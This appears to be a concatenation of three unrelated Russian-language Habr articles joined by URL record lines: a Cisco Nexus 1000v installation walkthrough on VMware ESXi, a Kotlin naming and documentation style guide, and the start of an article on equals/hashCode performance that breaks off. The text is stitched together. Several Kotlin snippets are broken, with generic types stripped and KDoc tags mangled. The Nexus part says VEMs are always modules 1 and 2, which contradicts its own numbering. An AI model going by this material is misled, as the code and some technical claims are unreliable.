Последнее, что я хочу упомянуть — как в Nexus 1000v появляются граничные порты. Я упоминал, что виртуальные интерфейсы не существуют до тех пор пока не подключена VM. После того, как VM назначен профиль порта vethernet внутри ее сетевых настроек и она находится в онлайн-статусе, на Nexus 1000v создается veth-интерфейс. Veth интерфейс представляет собой физический граничный хост-порт на общем физическом свиче. Veth интерфейс наследует конфигурацию родительского порта профиля vethernet.
Профили порта Ethernet привязаны к физическим сетевым адаптерам в vSphere GUI (подробнее об этом читайте в следующей публикации). В рамках Nexus 1000v они показаны как многоуровневые интерфейсы Ethernet: первый — модуль #, второй — номер порта (vmnic). Используя последнее изображение в качестве ссылки, vmnic 3 будет отображаться в 1000v как E3/4. Три потому, что VEM — это модуль 3 и 4 потому, что он является четвертым vmnic в блоке. Тем не менее, мы по прежнему не выполняем какую-либо конфигурацию на этих интерфейсах, все делается в профиле порта.
Окончательная заметку по вопросу о нумерации VEM. VEM всегда будут модули 1 и 2. VEM по умолчанию будут пронумерованы последовательно по мере добавления ESXi хостов и будут помещены онлайн.
Теперь у нас есть хорошая база теории 1000v, мы готовы перейти ко второй публикации в этой серии.
Nexus 1000v Часть 2 из 2 (Установка и работа)
В части 2 этой серии мы пройдем через установку свича Cisco Nexus 1000v и рассмотрим некоторые основные операции.
Я предполагаю что читатель имеет базовые знания в области сетевых технологий VMware и архитектуры и операций 1000v.
Если вы хотели бы сначала изучить теорию 1000v — смотрите часть первую: «Nexus 1000v Часть 1 из 2 (Теория)»
Обратите внимание, что я начинаю с рабочей средой ESXi, включая vCenter. Если вы хотите увидеть, как я все настроил, то смотрите мой пост «Моя VMware Lab».
Я начинают с моими сетевыми настройками ESXi на два стандартных vSwitch. vSwitch0 для управления / подключений VMkernel (в том числе одна группа портов VM на управление VLAN) и vSwitch1 — для VM трафика.
У меня есть четыре сетевые карта, vmnic0 и vmnic1 назначены свичу vSwitch0, vmnic2 и vmnic3 — свичу vSwitch1:
Вот некоторые сведения о моей настройке:
```
VLAN101 - 10.1.1.0/24 и VLAN102 - 10.1.2.0/24
vCenter Appliance - 10.1.2.50
ESXi host- 10.1.1.52
Шлюзы по умолчанию - .254
```
Моя цель установки заключается в том, чтобы заменить vSwitch1 на Nexus1000v и убедиться, что мой vCenter и VM Win2008R2 по-прежнему пингуют vDS.
Установка Nexus 1000v состоит из пяти основных шагов:
1. 1. Установить/предоставить VSM виртуальные машины
2. 2. Зарегистрировать плагин Nexus 1000v в vCenter
3. 3. Настроить связь VSM-vCenter (SVS подключение)
4. 4. Установить программное обеспечение VEM на каждый хост ESXi и выставить статус модулей на Online
5. 5. Настроить сетевую конфигурацию хоста
Мы можем либо установить 1000v вручную или с помощью Cisco Java Installer. Поскольку Java Installer — это рекомендуемый способ — именно его я и буду использовать в демонстрации. Java Installer выполняет шаги 1-3, и потенциально 4 (это значит, что мы завершили установку).
**Шаги 1-3:**
Перейдите в приложения для установки VSM и дважды щелкните значок программы установки:
Выберите полную установку и нажмите на радио-кнопку для пользовательского выбора:
Нажмите Далее, введите vCenter Server IP-адрес и учетные данные и нажмите Далее.
Программа установки установит два VSM не важно у Вас один хост ESXi или несколько. Если у Вас только один — см. информацию для хоста 2. Заполните установщик всей необходимой информацией:
Вы можете самостоятельно заполнить все поля или же выбрать опции по кнопке [Browse], только убедитесь, что если Вы заполняете самостоятельно, то не делаете ошибок. Программа установки не проверяет ввод до тех пор пока вы не покинете экран. Так что если Вы вдруг допустили ошибку, то придется начать заново.
К названию виртуальной машины будет автоматически добавлено " -1" и " -2" для VSM 1 и 2 соответственно.
Выберите файл .OVA из директории установки Nexus. Обратите внимание, что ova с цифрами «1010» в названии предназначен для Nexus 1010.
Мы введем в работу слой 3, что является предпочтительным методом.
При развертывании слоя 3 порт Управления и порт Пакета игнорируются. Я просто назначу их все на управление VLAN.
После того как вы все заполните нажмите [Next]
В то время как все двигается самое время расположить окна. Я хотел бы разделить экран на две части, оставив vCenter в левой части экрана, чтобы видеть что происходит в vSphere в то время установщик 1000v делает свое дело.
Вы увидите весь результат на экране. Если все выглядит хорошо, нажмите Далее. Отдохните и позвольте ESXi сотворить свои чудеса во время процесса установки. По завершении установки Вам будет показан экран с подтверждением:
Пока не закрывайте это окно — мы еще раз проверим все уже пройденные на данный момент шаги. Программа установки только что завершила шаги с 1 по 3. Давайте самостоятельно все проверим. Во первых, мы можем видеть на изображении выше, что теперь есть две новые виртуальные машины N1Kv-1 и N1Kv-2. Таким образом мы знаем, что шаг 1 выполнен.
Для проверки шага 2 в vCenter нажмите «Plug-ins» (Плагины) в меню, а затем «Manage Plug-ins» (Управление плагинами).
Мы видим, что для Nexus 1000V был установлен новый плагин. Закройте это окно.
Для проверки шага 3 мы посмотрим и на 1000v и внутрь vSphere.
SSH к 1000v и перейдите в конец файла конфигурации:
```
N1Kv# sh run
!Command: show running-config
!Time: Sat Aug 31 04:57:40 2013
version 4.2(1)SV2(1.1a)
svs switch edition essential
-----output omitted------
svs-domain
domain id 1
control vlan 1
packet vlan 1
svs mode L3 interface mgmt0
svs connection vcenter
protocol vmware-vim
remote ip address 10.1.2.50 port 80
vmware dvs uuid "8f 99 26 50 21 ce f8 b2-97 7e 6d 49 a2 b6 9f d8" datacenter-name MYDC
admin user n1kUser
max-ports 8192
connect
vservice global type vsg
tcp state-checks invalid-ack
tcp state-checks seq-past-window
no tcp state-checks window-variation
no bypass asa-traffic
vnm-policy-agent
registration-ip 0.0.0.0
shared-secret **********
log-level
N1Kv#
```
Мы видим здесь конфигурацию «svs connection vcenter». Программа установки настроила для нас подключение. Теперь давайте взглянем в vCenter, чтобы удостовериться что она создала новый vDS.
В vCenter нажмите CTRL+SHIFT+N или перейдите в Home->Inventory->Networking.
Разверните дерево для проверки что связь 1000v и vDS прошла успешно:
Теперь давайте перейдем к шагу 4 — установке программного обеспечения VEM на ESXi. Если мы посмотрим на нашу программу установки то увидим, что у нас есть опция «установить VIB и добавить модуль». Что такое VIB?
VIB означает vSphere Installation Bundle (Комплект установки vSphere). Это просто кусок программного обеспечения или приложения, который мы можем установить на ESXi. В нашем случае это программное обеспечение Nexus 1000v VEM.
Один нюанс — установщик 1000v работает с VMware Update Manager (VUM). Так как у меня его нет, я не могу использовать программу установки. Так что на данный момент закройте программу установки — мы будем делать все вручную.
**Шаг 4.**
Сначала мы должны скопировать файл VIB на ESX. Вы можете сделать это абсолютно любым способом. SCP работает. Я обычно просто копирую его в мое хранилище данных с помощью vCenter. Чтобы сделать это перейдите в vCenter и нажмите CTRL+SHIFT+H, чтобы попасть обратно в Home->Inventory->Hosts & Clusters. Перейдите в раздел «Configuration» («Настройки»), затем «Storage» («Хранение»). Правой кнопкой мыши щелкните на хранилище данных и нажмите «Browse Datastore.» («Обзор хранилища»). В корневом уровне нажмите кнопку «Upload files to this datastore» («Загрузить файлы в хранилище данных») и щелкните «Upload File» («Загрузить файл»).
Перейдите к VIB файлу, выберите его (я просто выбрал последнюю версию), и нажмите [Open].
Включите SSH и ESXi шелл на хосте ESX и SSH непосредственно на ESXi.
Если вы не знакомы с этим процессом, смотрите: Использование Шелла ESXi в ESXi 5.x
в CLI перейдите в хранилища данных и копирование vib файл в /tmp/ таким образом, мы можем работать с ним.
```
~ #
~ # ls
altbootbank dev local.tgz proc store usr vmupgrade
bin etc locker productLocker tardisks var
bootbank lib mbr sbin tardisks.noauto vmfs
bootpart.gz lib64 opt scratch tmp vmimages
~ #
~ # cd /vmfs
/vmfs #
/vmfs # ls
devices volumes
/vmfs #
/vmfs # cd volumes
/vmfs/volumes #
/vmfs/volumes # ls
2c12e47f-6088b41c-d660-2d3027a4ae4d 521e1a46-2fa17fa3-cb7d-000c2956018f datastore1 (1)
3d762271-7f5b622d-3cfa-b4a79357ee70 521e1a4d-e203d122-8854-000c2956018f shared
521b4217-727150b0-5b58-000c2908bf12 521e1a4e-8824f799-5681-000c2956018f
/vmfs/volumes #
/vmfs/volumes # cd shared
/vmfs/volumes/521b4217-727150b0-5b58-000c2908bf12 #
/vmfs/volumes/521b4217-727150b0-5b58-000c2908bf12 # ls
6001.18000.080118-1840_amd64fre_Server_en-us-KRMSXFRE_EN_DVD.iso
Cisco_bootbank_cisco-vem-v152-esx_4.2.1.2.1.1a.0-3.1.1.vib
N1Kv-1
N1Kv-2
NSC
Win2008R2_1
cross_cisco-vem-v152-4.2.1.2.1.1a.0-3.1.1.vib
nexus-1000v.4.2.1.SV2.1.1a.iso
vCenter Appliance
/vmfs/volumes/521b4217-727150b0-5b58-000c2908bf12 # cp cross_cisco-vem-v152-4.2.1.2.1.1a.0-3.1.1.vib /tmp/
/vmfs/volumes/521b4217-727150b0-5b58-000c2908bf12 #
```
Теперь перейдите к /tmp и выполните установку vib:
```
/vmfs/volumes/521b4217-727150b0-5b58-000c2908bf12 # cd /tmp
/tmp #
/tmp # esxcli software vib install -v /tmp/*.vib
Installation Result
Message: Operation finished successfully.
Reboot Required: false
VIBs Installed: Cisco_bootbank_cisco-vem-v152-esx_4.2.1.2.1.1a.0-3.1.1
VIBs Removed:
VIBs Skipped:
/tmp #
```
На данный момент мы наполовину завершили шаг 4. Теперь мы должны подключить VEM модуль к сети. Для этого необходимо создать группу порт VMkernel с опцией «capability l3control». Перед этим давайте проверим наш статус на 1000v:
```
N1Kv# sh mod
Mod Ports Module-Type Model Status
--- ----- -------------------------------- ------------------ ------------
1 0 Virtual Supervisor Module Nexus1000V active *
2 0 Virtual Supervisor Module Nexus1000V ha-standby
Mod Sw Hw
--- ------------------ ------------------------------------------------
1 4.2(1)SV2(1.1a) 0.0
2 4.2(1)SV2(1.1a) 0.0
Mod MAC-Address(es) Serial-Num
--- -------------------------------------- ----------
1 00-19-07-6c-5a-a8 to 00-19-07-6c-62-a8 NA
2 00-19-07-6c-5a-a8 to 00-19-07-6c-62-a8 NA
Mod Server-IP Server-UUID Server-Name
--- --------------- ------------------------------------ --------------------
1 10.1.1.10 NA NA
2 10.1.1.10 NA NA
* this terminal session
N1Kv#
```
Мы видим два VSM модуля: 1 и 2. В настоящее время ни один VEM не находится онлайн.
Давайте сначала создадим профиль порта ethernet для управления восходящим каналом VLAN.
Но прежде давайте снова переместим наши окна. Я люблю разделять экран, чтобы смотреть что происходит в vCenter в то время как я работаю на 1000v. В vCenter нажмите CTRL+SHIFT+N чтобы вернуться к сети. С открытым окном теперь давайте создадим профиль порта:
```
N1Kv# conf t
Enter configuration commands, one per line. End with CNTL/Z.
N1Kv(config)# port-profile type ethernet MGMT-Uplink
N1Kv(config-port-prof)# vmware port
N1Kv(config-port-prof)# switchport mode access
N1Kv(config-port-prof)# switchport access vlan 101
N1Kv(config-port-prof)# no shutdown
N1Kv(config-port-prof)# system vlan 101
N1Kv(config-port-prof)# state enable
N1Kv(config-port-prof)#
```
Как только устанавливаем «state enable» — профиль порта сразу добавляется в vCenter.
Теперь давайте создадим порт профиля vethernet для управления трафиком. На этот порт мы добавим «capability l3control»
```
N1Kv(config-port-prof)# port-profile type vethernet VLAN101
N1Kv(config-port-prof)# vmware port
N1Kv(config-port-prof)# switchport mode access
N1Kv(config-port-prof)# switchport access vlan 101
N1Kv(config-port-prof)# no shutdown
N1Kv(config-port-prof)# system vlan 101
N1Kv(config-port-prof)# capability l3control
Warning: Port-profile 'VLAN101' is configured with 'capability l3control'. Also configure the corresponding access vlan as a system vlan in:
* Port-profile 'VLAN101'.
* Uplink port-profiles that are configured to carry the vlan
N1Kv(config-port-prof)# 2013 Aug 31 06:56:59 N1Kv %MSP-1-CAP_L3_CONTROL_CONFIGURED: Profile is configured with capability l3control. Also configure the corresponding VLAN as system VLAN in this port-profile and uplink port-profiles that are configured to carry the VLAN to ensure no traffic loss.
N1Kv(config-port-prof)# state enable
N1Kv(config-port-prof)#
```
Теперь на заключительном этапе нам необходимо переместить vmnic на порт ethernet-профиля, и переместить одно из наших соединений vmkernel на порт профиля vethernet.
Щелкните правой кнопкой на vDS и нажмите «Add Host» («Добавить хост»):
Выберите хост ESXi и vmnic для перемещения. Я выбираю один из двух сетевых адаптеров на свиче vSwitch0, чтобы не потерять связь с ESXi, плюс мой iSCI привязан к vmnic0, поэтому я не могу переместить его прямо сейчас. Справа выберите порт профиля MGMT-Uplink в выпадающем списке и нажмите [Next]:
На следующем экране нужно выбрать порт vmkernel для переноса на 1000v. Я собираюсь использовать VMK0 (Management) и в выпадающем списке я выбираю порт профиля vethernet «VLAN101», затем жму [Next]:
Пока не волнуйтесь по поводу переноса виртуальных машин, нажмите кнопку [Next].
На следующем экране показано визуальное представление vDS. Нажмите [Finish].
Перейдите обратно к терминалу 1000v и вы должны увидеть:
```
N1Kv(config-port-prof)# 2013 Aug 31 07:19:28 N1Kv %VEM_MGR-2-VEM_MGR_DETECTED: Host esx2 detected as module 3
2013 Aug 31 07:19:28 N1Kv %VEM_MGR-2-MOD_ONLINE: Module 3 is online
```
Когда vCenter закончил свою работу, давайте проверим в консоли 1000v:
```
N1Kv(config-port-prof)# sh mod
Mod Ports Module-Type Model Status
--- ----- -------------------------------- ------------------ ------------
1 0 Virtual Supervisor Module Nexus1000V active *
2 0 Virtual Supervisor Module Nexus1000V ha-standby
3 248 Virtual Ethernet Module NA ok
Mod Sw Hw
--- ------------------ ------------------------------------------------
1 4.2(1)SV2(1.1a) 0.0
2 4.2(1)SV2(1.1a) 0.0
3 4.2(1)SV2(1.1a) VMware ESXi 5.1.0 Releasebuild-799733 (3.1)
Mod MAC-Address(es) Serial-Num
--- -------------------------------------- ----------
1 00-19-07-6c-5a-a8 to 00-19-07-6c-62-a8 NA
2 00-19-07-6c-5a-a8 to 00-19-07-6c-62-a8 NA
3 02-00-0c-00-03-00 to 02-00-0c-00-03-80 NA
Mod Server-IP Server-UUID Server-Name
--- --------------- ------------------------------------ --------------------
1 10.1.1.10 NA NA
2 10.1.1.10 NA NA
3 10.1.1.52 564d33c8-ba44-2cce-c463-65954956018f 10.1.1.52
* this terminal session
N1Kv(config-port-prof)#
```
Готово. Модуль 3 онлайн, шаг 4 завершен.
**Шаг 5.**
Теперь давайте создадим наш VM vlan, профиль порта ethernet для загрузки и профиль порта vethernet для наших VM:
```
N1Kv(config-port-prof)# vlan 102
N1Kv(config-vlan)# name SERVERS
N1Kv(config-vlan)# port-profile type ethernet VM-Uplink
N1Kv(config-port-prof)# vmware port
N1Kv(config-port-prof)# switchport mode access
N1Kv(config-port-prof)# switchport access vlan 102
N1Kv(config-port-prof)# no shutdown
N1Kv(config-port-prof)# state enable
N1Kv(config-port-prof)#
N1Kv(config-port-prof)# port-profile type vethernet VLAN102
N1Kv(config-port-prof)# vmware port
N1Kv(config-port-prof)# switchport mode access
N1Kv(config-port-prof)# switchport access vlan 102
N1Kv(config-port-prof)# no shutdown
N1Kv(config-port-prof)# state enable
N1Kv(config-port-prof)#
```
Далее нам необходимо переместить физический NIC на порт профиля ethernet VM-Uplink. Чтобы сделать это изменение настолько менее болезненным, насколько это возможно, я перемещу один NIC, мигрирую виртуальные машины, затем перемешу другой NIC.
Теперь, когда хост ESXi уже добавлен на vDS мы можем щелкнуть правой кнопкой на свиче N1Kv и щелкнуть «Manage Hosts» («Управление Хостами») вместо добавления хостами.
Выберите один из vmnic-ов на vSwitch1, выберите группу портов VM-Uplink и нажмите [Next]
Нажмите [Next] ([Далее]) еще два раза, затем [Finish] ([Завершить])
Теперь мы готовы к переносу VM. Я собираюсь начать пинговать мой Win2008R2 VM.
Нажмте CTRL+SHIFT+H чтобы вернуться в Home->Inventory->Hosts & Clusters (Главная -> Каталог-> Хосты и Кластеры).
Я правой кнопкой мыши щелкаю на своей VM и перехожу к «Edit Settings» («Редактировать настройки»). Затем я выбираю сеть VLAN102 vethernet порт профиль из выпадающего списка и жму [OK].
```
C:\Users\acruz>ping -t 10.1.2.21
Pinging 10.1.2.21 with 32 bytes of data:
Reply from 10.1.2.21: bytes=32 time=20ms TTL=127
Reply from 10.1.2.21: bytes=32 time=18ms TTL=127
Reply from 10.1.2.21: bytes=32 time=16ms TTL=127
Reply from 10.1.2.21: bytes=32 time=13ms TTL=127
Reply from 10.1.2.21: bytes=32 time=13ms TTL=127
Reply from 10.1.2.21: bytes=32 time=17ms TTL=127
Reply from 10.1.2.21: bytes=32 time=123ms TTL=127
Reply from 10.1.2.21: bytes=32 time=11ms TTL=127
Reply from 10.1.2.21: bytes=32 time=11ms TTL=127
Reply from 10.1.2.21: bytes=32 time=19ms TTL=127
Reply from 10.1.2.21: bytes=32 time=19ms TTL=127
Reply from 10.1.2.21: bytes=32 time=17ms TTL=127
Ping statistics for 10.1.2.21:
Packets: Sent = 16, Received = 16, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 11ms, Maximum = 123ms, Average = 33ms
C:\Users\acruz>
```
Мы видим запаздывание, но я ничего не потерял.
Я делаю то же самое для моего прибора vCenter и любых других виртуальных машин до тех пор пока мой стандартный vSwitch 1 не станет пуст:
Наш заключительный шаг в настройке — переместить vmnic2 на 1000v порт профиля VM-Uplink, но прежде чем я это сделаю, давайте настроим порт профия VM-Uplink для распределения нагрузки; в противном случае мы столкнемся с проблемами.
Я не хочу делать какие-либо специфические настройки на своем свиче (LACP), поэтому произведу mac-пиннинг.
```
N1Kv(config-port-prof)# port-profile VM-Uplink
N1Kv(config-port-prof)# channel-group auto mode on mac-pinning
N1Kv(config-port-prof)#
```
В демонстрационных целях я собираюсь переместить vmnic2 другим способом. Вместо того чтобы нажать правой кнопкой мыши на vDS и затем выбрать Manage Hosts" («Управление Хостами»), давайте нажмем здесь на «vSphere Distributed Switch».
Мы видим расположение нашего vDS. В правом верхнем углу нажмите "**Manage Physical Adapters...**" («Управление физическими адаптерами...»).
Прокрутите вниз к группе портов VM-Uplink и нажмите "" ("<Нажмите чтобы добавить NIC>").
Выберите физический адаптер, который хотите добавить, и нажмите [OK].
Нажмите кнопку [Yes] ([Да]), чтобы убрать vmnic2 со свича vSwitch1 и подключить его к NIKv
Нажмите [OK] и через некоторое время добавится vmnic:
В качестве заключительного шага я собираюсь щелкнуть на стандартный vSwitch и убрать vSwitch 1.
Еще немного полезной информации. В консоли NIKv можно выбрать "**show interface status**" («показывать состояние интерфейса»), так же как и на обычном свиче и см. все порты 1000v.
Вы можете выбрать "**show interface virtual**" («показывать виртуальные интерфейсы») и увидите все veth-порты и на каких хостах они находятся.
Вот и все. Наслаждайтесь знакомством с Nexus 1000v. | https://habr.com/ru/post/363233/ | null | ru | null |
# Руководство по стилю Kotlin для Android разработчиков (Часть II)
В принципе, я согласен с комментариями, что данная тема излишняя, так как существуют автоматические инструменты форматирования кода
И к тому же у каждого своё мнение о красоте и эстетичности, поэтому coding style носит субъективный характер.
Но я все таки решил закончить данную серию статей по Kotlin стилю, как и обещал.
Возможно кому-нибудь пригодится.
Ну что ж прошу под кат!
Именование
----------
Идентификаторы переменных, функций, свойств, классов используют только ASCII буквы и цифры (обычные английские буквы + 10 цифр)
Специальные суффиксы или префиксы (например: `_digit, power_`) не используются (исключение: [Backing свойства](https://kotlinlang.org/docs/reference/properties.html#backing-properties)).
### Имена функций
Начнем с именования функций.
Основное правило: имя функции должно быть написано в верблюжьем стиле (например: `fetchDogs`) и быть глаголом (`makeRepost`)
Нижние подчеркивания разрешены, если они используются для разделения логических частей в тестирующих функциях, как здесь:
```
@Test fun get_emptyList() {
// ...
}
```
Функции, которые аннотированы `@Composable` ([Jetpack Compose смотрите здесь](https://developer.android.com/jetpack/compose?gclid=CjwKCAiAxp-ABhALEiwAXm6IyXwiatjnjQLWdGIWpZ_BRKzJwqIUm7v4PKuSOlYPgwoPMaga4VdLgBoCYlYQAvD_BwE&gclsrc=aw.ds)) носят имена, которые являются существительными, отформатированными в Pascal стиле:
```
@Composable
fun MyDog(name: String) {
// …
}
```
### Именование констант
Константы используют имена в верхнем регистре, отдельные слова разделяются нижним подчеркиванием.
Константы в Kotlin - это `val` свойства, которые не имеют кастомного оператора доступа `get`, а их контент является неизменяемым. Сюда относятся: неизменяемые коллекции и типы
(`listOf(1, 2, 3)`), а также скалярные типы, помеченные ключевым словом const:
```
// константы для скалярных типов должны быть объявлены с помощью const
const val FIVE = 5
val MY_DOGS = listOf("Dina", "Red")
val EMPTY_ARRAY = arrayOf()
```
Константы могут быть объявлены внутри конструкции `object` или как высокоуровневые определения (на уровне файла).
На константы, которые объявлены на уровне класса, данные правила именования не распространяются.
### Именование свойств и переменных
Свойства и переменные, подобно функциям, должны быть написаны в верблюжьем стиле. Это относится и к параметрам функций.
```
val viewModel by viewModels { viewModelFactory }
val firstName = "Anna"
val dogs = listOf(Dog("Dina"), Dog("Red"))
lateinit var binding: ListItemBinding
fun fetchDogs(page: Int): List {
// ...
}
```
Когда вы используете [backing свойство](https://kotlinlang.org/docs/reference/properties.html#backing-properties) имя должно точно соответствовать реальному свойству только без нижнего подчеркивания:
```
private val _dogs = MutableLiveData>()
val dogs: LiveData>
get() = \_dogs
```
Имена [generic типов](https://kotlinlang.org/docs/reference/generics.html) должны соответствовать одному из стилей:
* Одна заглавная буква (можно добавить одну цифру, например: `T1, T2, R1`)
* Имя generic типа, который используется для класса может состоять из имени класса и дополнительного суффикса T (например: `RequestT, ResponseT`)
По моему мнению второй стиль избыточен, да и к тому же немного страноват для generic типов.
#### Именование классов и интерфейсов
Имена классов записываются в Pascal стиле (например: `SleepingDog` - каждое слово начинается с заглавной буквы).
Также они являются существительными или фразами (например: `MyCar` - состоит из двух слов)
Интерфейсы именуются по тем же правилам. Как дополнение они могут быть прилагательными (например: `Cloneable, Readable, Writable`):
```
class MainActivity(): AppCompatActivity() {
// ...
}
interface OnItemListener {
fun onItemClick(id: Long)
}
interface Readable {}
```
#### Именование пакетов
Здесь ничего особеного: имена пакетов находятся в нижнем регистре и не содержат никаких нижних подчеркиваний:
```
// Неправильно
package com.example.android.marsRealeState.overview
// Неправильно
package com.example.android.mars_reale_state.overview
// OK
package com.example.android.marsrealestate.overview
```
### Специальные конструкции
Константы enum классов могут быть размещены на одной строке:
```
enum class NetworkStatus {
SUCCESS, FAILED, LOADING
}
```
Если вы решили поместить свои константы на отдельные строчки то следуйте рекомендации: разделяйте отдельные константы, которые содержат тело пустой строкой от других:
```
enum class NetworkStatus {
SUCCESS,
FAILED,
LOADING {
override fun toString() = "loading..."
}
}
```
Поскольку перечисления относятся к классам, все вышепривиденные правила для классов действуют и на них.
Что касается аннотаций, здесь правила предельно простые:
```
// аннотации размещаются на отдельных строчках
@Singleton
@Component(modules = [DatabaseModule::class])
interface AppComponent {
// ...
}
// если аннотации не имеют параметров, то можно впихнуть их в одну строку
@JvmField @Volatile
var disposable: Disposable? = null
// если у вас одна простая аннотация то можно вот так:
@Inject lateinit var viewModelFactory: DogViewModelFactory
```
Также возможен вариант более лаконичного синтаксиса для объявления переменных и функций:
```
// вместо
override fun toString(): String = "My name is $name"
// можно
override fun toString() = "My name is $name"
// вместо
private val redDog: Dog = Dog("Red")
// можно
private val redDog = Dog("Red")
```
### Документация
Базовое форматирование [KDoc](https://kotlinlang.org/docs/reference/kotlin-doc.html) выглядит следующим образом:
```
/**
* Здесь пишем документацию
*
*/
fun fetchDogs(page: Int) {
// …
}
```
Если строка очень маленькая её можно уместить на одной строке:
```
/** Очень короткая строка моей документации */
```
Основные правила форматирования документации:
* Используйте пустую строку, которая содержит только звездочку (`*`), чтобы разделять отдельные абзацы
* Любые из стандартных блоков идут по порядку: `@constructor`, `@receiver`, `@param`, `@property`, `@return`, `[@throws,](/users/throws,)[@see](/users/see)`и не могут быть пустыми
* Каждый KDoc блок начинается со специального фрагмента, которые содержит основную информацию о классе или функции (например: "This function returns sum of digits"). Обычно это неполное предложение
Как минимум, KDoc документация используется для публичных методов, классов, полей, то есть public API.
Для простых функций документацию можно не писать при условии, что они настолько простые, что их легко прочитать:
```
// Полагаю, не требует объяснений.
fun sum(a: Int, b: Int) = a + b
```
А вот, например, такие нетривиальные вещи, как функция нахождения определителя матрицы требует дополнительных разъяснений.
**Исключение**: KDoc документация не всегда присутствует в методе, который переопределяет метод из суперкласса.
### Заключение
Эта статья завершает мой небольшой цикл.
Возможно я выбрал эту тему, потому что мне нечего делать, а возможно я просто хотел понять: стоит ли замарачиваться такими вещами, как форматирование кода, если есть встроенные инструменты Android Studio, которые сделают это лучше меня по всем правилам!
Я хотел бы попросить читателей о небольшой просьбе: написать комментарий "на какую тему вы бы хотели прочитать статью по Android разработке?"
Полезные ссылки:
1. [Официальное руководство по Kotlin стилю](https://developer.android.com/kotlin/style-guide#documentation) (на английском)
2. [Backing свойства](https://kotlinlang.org/docs/reference/properties.html#backing-properties)
3. [Generic типы](https://kotlinlang.org/docs/reference/generics.html)
4. [Jetpack Compose](https://developer.android.com/jetpack/compose?gclid=CjwKCAiAxp-ABhALEiwAXm6IyXwiatjnjQLWdGIWpZ_BRKzJwqIUm7v4PKuSOlYPgwoPMaga4VdLgBoCYlYQAvD_BwE&gclsrc=aw.ds)
5. [Документирование Kotlin кода](https://kotlinlang.org/docs/reference/kotlin-doc.html) (на английском)
6. [Дополнительная информация на Википедии](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82_%D0%BE%D1%84%D0%BE%D1%80%D0%BC%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D0%BA%D0%BE%D0%B4%D0%B0) | https://habr.com/ru/post/538534/ | null | ru | null |
# Загубить производительность
Эта заметка является писанной версией моего доклада "Как загубить производительность с помощью неэффективного кода" с конференции JPoint 2018. Посмотреть видео и слайды можно на [странице конференции](http://2018.jpoint.ru/talks/1smez2ivjmiw0wskqimew0/). В расписании доклад отмечен обидным стаканчиком смузи, так что ничего сверхсложного не будет, это скорее для начинающих.
Предмет доклада:
* как смотреть на код, чтобы найти в нём узкие места
* распространённые антипаттерны
* неочевидные грабли
* обход граблей
В кулуарах мне указали на некоторые неточности/упущения в докладе, они здесь отмечены. Замечания также приветствуются.
Влияние порядка исполнения на производительность
------------------------------------------------
Есть класс пользователя:
```
class User {
String name;
int age;
}
```
Нам нужно сравнивать объекты между собой, поэтому объявим методы `equals` и `hashCode`:
```
import lombok.EqualsAndHashCode;
@EqualsAndHashCode
class User {
String name;
int age;
}
```
Код работоспособен, вопрос в другом: будет ли производительность данного кода наилучшей? Чтобы ответить на него давайте вспомним об особенности метода `Object::equals`: он возвращает положительный результат лишь тогда, когда все сравниваемые поля равны, в противном же случае результат будет отрицательным. Иными словами, одного отличия уже достаточно для отрицательного результата.
Посмотрев код, создаваемый для `@EqualsAndHashCode` увидим примерно вот это:
```
public boolean equals(Object that) {
//...
if (name == null && that.name != null) {
return false;
}
if (name != null && !name.equals(that.name)) {
return false;
}
return age == that.age;
}
```
Порядок проверки полей соответствует порядку их объявления, что в нашем случае не лучшее решение, ведь сравнение объектов с помощью `equals` "тяжелее" сравнения простых типов.
Хорошо, попробуем создать методы `equals/hashCode` с помощью "Идеи":
```
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
User that = (User) o;
return age == that.age && Objects.equals(name, that.name);
}
```
"Идея" создаёт более умный код, который знает о сложности сравнения разных видов данных. Ну хорошо, мы выбросим `@EqualsAndHashCode` и будем явно прописывать `equals/hashCode`. Теперь посмотрим, что происходит при расширении класса:
```
class User {
List props;
String name;
int age;
}
```
Пересоздадим `equals/hashCode`:
```
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
User that = (User) o;
return age == that.age
&& Objects.equals(props, that.props) // <----
&& Objects.equals(name, that.name);
}
```
Сравнение списков выполняется до сравнения строк, что бессмысленно, когда строки разные. На первый взгляд, особой разницы нет, ведь строки равной длины сравниваются познаково (т. е. время сравнение растёт вместе с длиной строки):
**Здесь была неточность**Метод `java.lang.String::equals` [интринзифицирован](http://hg.openjdk.java.net/jdk8/jdk8/hotspot/file/87ee5ee27509/src/share/vm/classfile/vmSymbols.hpp#l763), поэтому познакового сравнения при исполнении не происходит.
```
//java.lang.String
public boolean equals(Object anObject) {
if (this == anObject) {
return true;
}
if (anObject instanceof String) {
String anotherString = (String) anObject;
int n = value.length;
if (n == anotherString.value.length) {
char v1[] = value;
char v2[] = anotherString.value;
int i = 0;
while (n-- != 0) { // <----
if (v1[i] != v2[i])
return false;
i++;
}
return true;
}
}
return false;
}
```
Теперь рассмотрим сравнение двух `ArrayList`-ов (как наиболее часто используемой реализации списка). Исследовав `ArrayList` с удивлением обнаружим, что собственной реализации `equals` у него нет, а используется унаследованная реализация:
```
//AbstractList::equals
public boolean equals(Object o) {
if (o == this) {
return true;
}
if (!(o instanceof List)) {
return false;
}
ListIterator e1 = listIterator();
ListIterator e2 = ((List) o).listIterator();
while (e1.hasNext() && e2.hasNext()) { // <----
E o1 = e1.next();
Object o2 = e2.next();
if (!(o1 == null ? o2 == null : o1.equals(o2))) {
return false;
}
}
return !(e1.hasNext() || e2.hasNext());
}
```
Важным здесь является создание двух итераторов и попарный проход по ним. Предположим, есть два `ArrayList`-а:
* в одном числа от 1 до 99
* во втором числа от 1 до 100
В идеале было бы достаточно сравнить размеры двух списков и при несовпадении сразу вернуть отрицательный результат (как это делает `AbstractSet`), в действительности же выполнится 99 сравнений и лишь на сотом станет понятно, что списки отличаются.
#### Чё там у котлиновцев?
```
data class User(val name: String, val age: Int);
```
Тут всё как у ломбока — порядок сравнения соответствует порядку объявления:
```
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o instanceof User) {
User u = (User) o;
if (Intrinsics.areEqual(name, u.name) && age == u.age) { // <----
return true;
}
}
return false;
}
```
**Как улучшить положение? - Жаловаться!**IDEA-170178 Comparison of collections should be executed at the very end of IDEA-generated equals()
